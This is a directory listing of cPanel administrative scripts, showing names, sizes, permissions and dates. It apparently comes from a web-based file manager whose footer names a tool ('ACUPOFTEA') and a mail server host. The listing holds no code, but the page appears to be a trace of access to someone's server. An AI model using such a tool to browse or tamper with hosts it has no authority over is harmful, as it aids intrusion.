hook
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
httpspamdetect
text/x-perl
2.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
hulk-unban-ip
3.97 MB
-rwx------
2025-10-16 10:57:31
import_exim_data
text/x-perl
8.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
increase_filesystem_limits
text/x-perl
891 B
-rwxr-xr-x
2024-03-04 05:44:29
initacls
text/x-perl
4.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
initfpsuexec
text/x-shellscript
444 B
-rwxr-xr-x
2024-03-04 05:44:29
initialize_360monitoring
2.76 KB
-rwx------
2025-07-25 08:58:50
initquotas
text/x-perl
19.47 KB
-rwxr-xr-x
2025-06-09 10:57:26
initsuexec
text/x-perl
4.03 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_cpanel_analytics
text/x-perl
1.93 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_dovecot_fts
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_plugin
text/x-perl
2.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
installpkg
text/x-perl
575 B
-rwxr-xr-x
2024-03-04 05:44:29
installpostgres
text/x-perl
6.46 KB
-rwxr-xr-x
2025-06-09 10:57:30
installsqlite3
text/x-perl
1.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
ipcheck
text/x-perl
3.93 KB
-rwxr-xr-x
2024-03-04 05:44:29
ipusage
text/x-perl
7.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
isdedicatedip
text/x-perl
602 B
-rwxr-xr-x
2024-03-04 05:44:29
jetbackup-check
text/x-perl
3.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
killdns
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
killdns-dnsadmin
text/x-perl
1.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
killmysqluserprivs
text/x-perl
433 B
-rwxr-xr-x
2024-03-04 05:44:29
killmysqlwildcard
text/x-perl
1.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
killpvhost
text/x-perl
853 B
-rwxr-xr-x
2024-03-04 05:44:29
killspamkeys
text/x-perl
937 B
-rwxr-xr-x
2024-03-04 05:44:29
link_3rdparty_binaries
text/x-perl
1.24 KB
-rwxr-xr-x
2024-03-04 05:44:29
linksubemailtomainacct
text/x-perl
3.17 KB
-rwxr-xr-x
2024-03-04 05:44:29
listcheck
text/x-perl
538 B
-rwxr-xr-x
2024-03-04 05:44:29
listsubdomains
text/x-perl
1.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
litespeed-check
text/x-perl
3.86 KB
-rwxr-xr-x
2024-03-04 05:44:29
locale_export
text/x-perl
5.21 KB
-rwxr-xr-x
2025-04-15 10:57:21
locale_import
text/x-perl
4.35 KB
-rwxr-xr-x
2024-03-04 05:44:29
locale_info
text/x-perl
3.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
logo.dat
text/plain
205 B
-rw-r--r--
2024-03-04 05:44:29
magicloader
text/x-perl
1.94 KB
-rwxr-xr-x
2024-03-04 05:44:29
maildir_converter
text/x-perl
6.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
mailperm
text/x-perl
16.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
mailscannerupdate
text/x-perl
2.42 KB
-rwxr-xr-x
2024-03-04 05:44:29
mainipcheck
text/x-perl
10 KB
-rwxr-xr-x
2024-03-04 05:44:29
maintenance
text/x-perl
46.22 KB
-rwxr-xr-x
2025-02-11 10:57:15
make_config
text/plain
407 B
-rw-r--r--
2024-03-04 05:44:29
make_hostname_unowned
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
manage_extra_marketing
12.41 KB
-rwx------
2025-08-26 09:44:38
manage_greylisting
text/x-perl
16.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
manage_mysql_profiles
text/x-perl
16.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
migrate_ccs_to_cpdavd
text/x-perl
47.06 KB
-rwxr-xr-x
2025-02-11 10:57:16
migrate_local_ini_to_php_ini
text/x-perl
7.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
migrate_whmtheme_file_to_userdata
text/x-perl
2.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
mkwwwacctconf
text/x-perl
2.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
modify_accounts
text/x-perl
4.07 KB
-rwxr-xr-x
2025-04-15 10:57:26
modify_featurelist
9.2 KB
-rwx------
2025-08-26 09:44:38
modify_packages
text/x-perl
3.64 KB
-rwxr-xr-x
2025-04-15 10:57:21
modsec_vendor
text/x-perl
15.63 KB
-rwxr-xr-x
2024-03-04 05:44:29
mysqlconnectioncheck
text/x-perl
6.72 KB
-rwxr-xr-x
2024-08-22 10:57:40
mysqlpasswd
text/x-perl
4.14 KB
-rwxr-xr-x
2024-08-22 10:57:20
named.ca
text/plain
1.57 KB
-rw-r--r--
2024-03-04 05:44:29
named.rfc1912.zones
text/plain
774 B
-rw-r--r--
2024-03-04 05:44:29
notify_expiring_certificates
text/x-perl
9.37 KB
-rwxr-xr-x
2024-03-04 05:44:29
notify_expiring_certificates_on_linked_nodes
text/x-perl
1.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
oopscheck
text/x-perl
1.12 KB
-rwxr-xr-x
2024-03-04 05:44:29
optimize_eximstats
text/x-perl
3.88 KB
-rwxr-xr-x
2024-03-04 05:44:29
patch_mail_spamassassin_compiledregexps_body_0
text/x-perl
2.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
patchfdsetsize
text/x-perl
2.72 KB
-rwxr-xr-x
2024-03-04 05:44:29
pedquota
text/x-perl
2.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
perform_sqlite_auto_rebuild_db_maintenance
text/x-perl
1.98 KB
-rwxr-xr-x
2025-04-15 10:57:21
perlinstaller
text/x-perl
528 B
-rwxr-xr-x
2024-03-04 05:44:29
perlmods
text/x-perl
1.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
php_fpm_config
text/x-perl
9.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
phpini_tidy
text/x-perl
687 B
-rwxr-xr-x
2024-03-04 05:44:29
pkgacct
text/x-perl
88.03 KB
-rwxr-xr-x
2024-11-19 10:57:15
post_snapshot
text/x-perl
2.09 KB
-rwxr-xr-x
2024-08-22 10:57:19
post_sync_cleanup
text/x-perl
6.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
postupcp
text/x-shellscript
107 B
-rwxr-xr-x
2025-07-01 10:57:21
primary_virtual_host_migration
text/x-perl
2.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
process_pending_cpanel_php_pear_registration
text/x-perl
2.73 KB
-rwxr-xr-x
2025-06-09 10:57:22
process_site_templates
text/x-perl
7.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
proxydomains
text/x-perl
9.64 KB
-rwxr-xr-x
2025-06-09 10:57:30
ptycheck
text/x-perl
724 B
-rwxr-xr-x
2024-03-04 05:44:29
purge_modsec_log
text/x-perl
1.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
purge_old_config_caches
text/x-perl
2.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
pwck
text/x-perl
708 B
-rwxr-xr-x
2024-03-04 05:44:29
quickdnslookup
text/x-perl
1.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
quickwhoisips
text/x-perl
2.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
quota_auto_fix
text/x-perl
1.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
quotacheck
text/x-perl
22.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
rawchpass
text/x-perl
460 B
-rwxr-xr-x
2024-03-04 05:44:29
rdate
text/x-perl
4.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
realadduser
text/x-perl
5.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
realchpass
text/x-perl
3.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
realperlinstaller
text/x-perl
5.67 KB
-rwxr-xr-x
2024-03-04 05:44:29
realrawchpass
text/x-perl
425 B
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_available_addons_packages_cache
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_available_rpm_addons_cache
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_bandwidthdb_root_cache
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_dbmap
text/x-perl
5.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_provider_openid_connect_links_db
text/x-perl
1.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_whm_chrome
text/x-perl
2.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuilddnsconfig
text/x-perl
25.5 KB
-rwxr-xr-x
2025-06-09 10:57:25
rebuildhttpdconf
text/x-perl
2.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuildinstalledssldb
text/x-perl
2.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuildippool
text/x-perl
509 B
-rwxr-xr-x
2024-03-04 05:44:29
rebuilduserssldb
text/x-perl
948 B
-rwxr-xr-x
2024-03-04 05:44:29
refresh-dkim-validity-cache
text/x-perl
5.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
regenerate_tokens
text/x-perl
2.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
remote_log_transfer
text/x-perl
11.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
remove_dovecot_index_files
text/x-perl
5.89 KB
-rwxr-xr-x
2024-03-04 05:44:29
removeacct
26.37 MB
-rwx------
2025-10-16 10:57:40
rescan_user_dovecot_fts
text/x-perl
2.98 KB
-rwxr-xr-x
2024-03-04 05:44:29
reset_mail_quotas_to_sane_values
text/x-perl
6.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
resetmailmanurls
text/x-perl
2.03 KB
-rwxr-xr-x
2024-03-04 05:44:29
resetquotas
text/x-perl
4.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv
text/x-perl
3.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_apache
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_apache_php_fpm
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_base
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_bind
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_chkservd
text/x-perl
427 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_clamd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpanel_php_fpm
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpanellogd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpdavd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpgreylistd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cphulkd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpipv6
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpsrvd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_crond
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_dnsadmin
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_dovecot
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_exim
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_eximstats
text/x-perl
504 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ftpd
text/x-perl
426 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ftpserver
text/x-perl
911 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_httpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_imap
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_inetd
text/x-perl
2.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ipaliases
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_lmtp
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_mailman
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_mysql
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_named
text/x-perl
579 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_nscd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_p0f
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pdns
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pop3
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_postgres
text/x-perl
427 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_postgresql
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_powerdns
text/x-perl
442 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_proftpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pureftpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_queueprocd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_rsyslog
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_rsyslogd
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_spamd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_sshd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_syslogd
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_tailwatchd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_unknown
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_xinetd
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
restorecpuserfromcache
text/x-perl
1.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
restorepkg
44.36 MB
-rwx------
2025-10-16 10:57:45
rfc1912_zones.tar
application/x-tar
10 KB
-rw-r--r--
2024-03-04 05:44:29
rpmup
text/x-perl
5.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
rsync-user-homedir.pl
text/x-perl
5.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
run_if_exists
text/x-shellscript
512 B
-rwxr-xr-x
2024-03-04 05:44:29
run_plugin_lifecycle
3.53 KB
-rwx------
2025-08-26 09:44:38
runstatsonce
text/x-shellscript
440 B
-rwxr-xr-x
2024-03-04 05:44:29
runweblogs
text/x-perl
1.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
sa-update_wrapper
text/x-perl
3.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
safetybits.pl
text/x-perl
844 B
-rwxr-xr-x
2024-03-04 05:44:29
secureit
text/x-perl
4.72 KB
-rwxr-xr-x
2024-03-04 05:44:29
securemysql
text/x-perl
4.4 KB
-rwxr-xr-x
2024-06-24 10:57:19
securerailsapps
text/x-perl
3.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
securetmp
text/x-perl
16.76 KB
-rwxr-xr-x
2025-08-07 10:57:28
sendicq
text/x-perl
474 B
-rwxr-xr-x
2024-03-04 05:44:29
servicedomains
text/x-perl
9.64 KB
-rwxr-xr-x
2025-06-09 10:57:30
set_mailman_archive_perms
text/x-perl
1.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
setpostgresconfig
text/x-perl
6.04 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_greylist_db
text/x-perl
16.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_modsec_db
text/x-perl
1.3 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_systemd_timer_for_plugins
3.92 KB
-rwx------
2025-08-26 09:44:38
setupftpserver
text/x-perl
10.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
setupmailserver
text/x-perl
9.39 KB
-rwxr-xr-x
2025-06-09 10:57:28
setupnameserver
text/x-perl
12.52 KB
-rwxr-xr-x
2024-08-22 10:57:34
shrink_modsec_ip_database
text/x-perl
12.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
simpleps
text/x-perl
3.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
slurp_exim_mainlog
text/x-perl
5.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
smartcheck
text/x-perl
15.13 KB
-rwxr-xr-x
2025-06-09 10:57:20
smtpmailgidonly
text/x-perl
8.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
snapshot_prep
text/x-perl
5.88 KB
-rwxr-xr-x
2024-08-22 10:57:37
spamassassin_dbm_cleaner
text/x-perl
5.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
spamassassindisable
text/x-perl
3.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
spamboxdisable
text/x-perl
2.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
sshcontrol
text/x-perl
14.38 KB
-rwxr-xr-x
2024-03-04 05:44:29
ssl_crt_status
text/x-perl
3.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
suspendacct
text/x-perl
18.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
suspendmysqlusers
text/x-perl
4.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
swapip
text/x-perl
3.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync-mysql-users-from-grants
text/x-perl
1.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync_child_accounts
text/x-perl
1.77 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync_contact_emails_to_cpanel_users_files
text/x-perl
1.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
synccpaddonswithsqlhost
text/x-perl
6.59 KB
-rwxr-xr-x
2024-03-04 05:44:29
synctransfers
text/x-perl
1.92 KB
-rwxr-xr-x
2024-03-04 05:44:29
syslog_check
text/x-perl
1.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
sysup
text/x-perl
645 B
-rwxr-xr-x
2024-03-04 05:44:29
test_sa_compiled
text/x-perl
1.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_account_as_user
text/x-perl
2.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_accounts_as_root
text/x-perl
4.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_in_progress
text/x-perl
3.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_in_progress.pod
text/plain
312 B
-rw-r--r--
2024-03-04 05:44:29
transfermysqlusers
9.84 MB
-rwx------
2025-10-16 10:57:32
try-later
text/x-perl
7.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
unblockip
text/x-perl
667 B
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_cpanel_analytics
text/x-perl
1.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_dovecot_fts
text/x-perl
562 B
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_plugin
text/x-perl
2.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
unlink_service_account
text/x-perl
2.62 KB
-rwxr-xr-x
2024-03-04 05:44:29
unpkgacct
text/x-perl
4.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
unslavenamedconf
text/x-perl
863 B
-rwxr-xr-x
2024-03-04 05:44:29
unsuspendacct
text/x-perl
17.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
unsuspendmysqlusers
text/x-perl
7.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
upcp
text/x-perl
31.97 KB
-rwxr-xr-x
2024-11-19 10:57:19
upcp-running
text/x-perl
2.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
upcp.static
text/x-perl
721.63 KB
-rwxr-xr-x
2025-10-16 10:57:47
update-packages
text/x-perl
5.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_apachectl
text/x-perl
480 B
-rwxr-xr-x
2024-03-04 05:44:29
update_db_cache
text/x-perl
430 B
-rwxr-xr-x
2024-03-04 05:44:29
update_dkim_keys
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_exim_rejects
text/x-perl
1.21 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_existing_mail_quotas_for_account
text/x-perl
4.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_feature_flags
text/x-perl
957 B
-rwxr-xr-x
2024-03-04 05:44:29
update_freebusy_data
text/x-perl
5.25 KB
-rwxr-xr-x
2025-06-09 10:57:17
update_known_proxy_ips
text/x-perl
1002 B
-rwxr-xr-x
2024-03-04 05:44:29
update_local_rpm_versions
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_mailman_cache
text/x-perl
8.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_mysql_systemd_config
text/x-perl
1.07 KB
-rwxr-xr-x
2025-06-09 10:57:31
update_neighbor_netblocks
text/x-perl
487 B
-rwxr-xr-x
2024-03-04 05:44:29
update_sa_config
text/x-perl
2.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_spamassassin_config
text/x-perl
10.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_users_jail
text/x-perl
691 B
-rwxr-xr-x
2024-03-04 05:44:29
update_users_vhosts
text/x-perl
801 B
-rwxr-xr-x
2024-03-04 05:44:29
updatedomainips
text/x-perl
605 B
-rwxr-xr-x
2024-03-04 05:44:29
updatenameserverips
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatenow
text/x-perl
5.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatenow.static
text/x-perl
2.02 MB
-rwxr-xr-x
2025-10-16 10:57:32
updatesigningkey
text/x-perl
1.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatessldomains
text/x-perl
1.81 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatesupportauthorizations
text/x-perl
2.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
updateuserdatacache
text/x-perl
2.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
updateuserdomains
text/x-perl
774 B
-rwxr-xr-x
2024-03-04 05:44:29
upgrade_bandwidth_dbs
text/x-perl
2.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
upgrade_subaccount_databases
text/x-perl
2.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
userdata_wildcard_cleanup
text/x-perl
5.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
userdirctl
text/x-perl
5.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
validate_sshkey_passphrase
text/x-perl
1.21 KB
-rwxr-xr-x
2024-03-04 05:44:29
verify_api_spec_files
text/x-perl
757 B
-rwxr-xr-x
2024-03-04 05:44:29
verify_pidfile
text/x-perl
1.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
verify_vhost_includes
text/x-perl
7.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
vps_optimizer
text/x-perl
7.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
vzzo-fixer
text/x-perl
725 B
-rwxr-xr-x
2024-03-04 05:44:29
whmlogin
text/x-perl
2.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
whoowns
text/x-perl
1.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
wwwacct
27.78 MB
-rwx------
2025-10-16 10:57:28
wwwacct2
text/x-perl
88 B
-rwxr-xr-x
2024-03-04 05:44:29
xfer_rcube_schema_migrate.pl
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
xfer_rcube_uid_resolver.pl
text/x-perl
1.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
xferpoint
text/x-perl
3.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
xfertool
text/x-perl
16.23 KB
-rwxr-xr-x
2024-03-04 05:44:29
zoneexists
text/x-perl
800 B
-rwxr-xr-x
2024-03-04 05:44:29
~ ACUPOFTEA - mail.ontime-ae.com